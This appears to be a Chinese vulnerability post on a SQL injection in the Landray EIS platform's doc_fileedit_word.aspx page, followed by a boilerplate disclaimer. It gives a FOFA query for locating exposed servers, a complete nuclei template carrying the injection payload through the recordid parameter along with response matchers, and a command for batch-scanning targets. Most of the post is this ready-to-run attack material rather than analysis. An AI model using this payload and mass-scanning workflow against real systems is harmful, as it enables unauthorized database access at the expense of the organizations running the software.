蓝凌EIS智慧协同平台doc_fileedit_word.aspx-SQL注入

• 蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该平台集成了各种协同工具和功能，旨在提升企业内部沟通、协作和信息共享的效率。

• 资产测绘

fofa语句：app="Landray-EIS智慧协同平台"

nuclei脚本：

id: landray-EIS_doc_fileedit_word_recordid_sqli

info:
  name: landray-EIS_doc_fileedit_word_recordid_sqli
  author: Administrator
  severity: high
  metadata:
    fofa-qeury: app="Landray-EIS智慧协同平台"

http:
  - raw:
      - |+
        GET /dossier/doc_fileedit_word.aspx?recordid=1%27%20and%201=%40%40version--&edittype=1,1 HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - HTTP/1.1 500
      - type: binary
        part: body
        binary:
          - e5b086206e766172

• 批量验证：

• nuclei.exe -stats -p http://127.0.0.1:8080 -t landray-EIS_doc_fileedit_word_recordid_sqli.yaml -u xxxxxxxxxxxxxxxxx

 

**免责声明**

本文文中的信息仅供学习和研究目的，不应被视为专业意见或推荐。作者不对任何人使用本文中信息所产生的结果负责。任何人在使用本文文中的信息时，应自行承担全部责任，并确保其符合所有相关法律和规定。

本文中提及的所有技术和工具，都应在合法和道德的范围内使用。作者不鼓励或支持任何非法或不道德的行为，包括但不限于侵犯版权、侵犯隐私或违反任何其他法律。

如果文档中包含任何第三方版权材料，版权归原作者所有，如有侵权，请联系作者进行处理。

本免责声明的解释权归作者或发布者所有。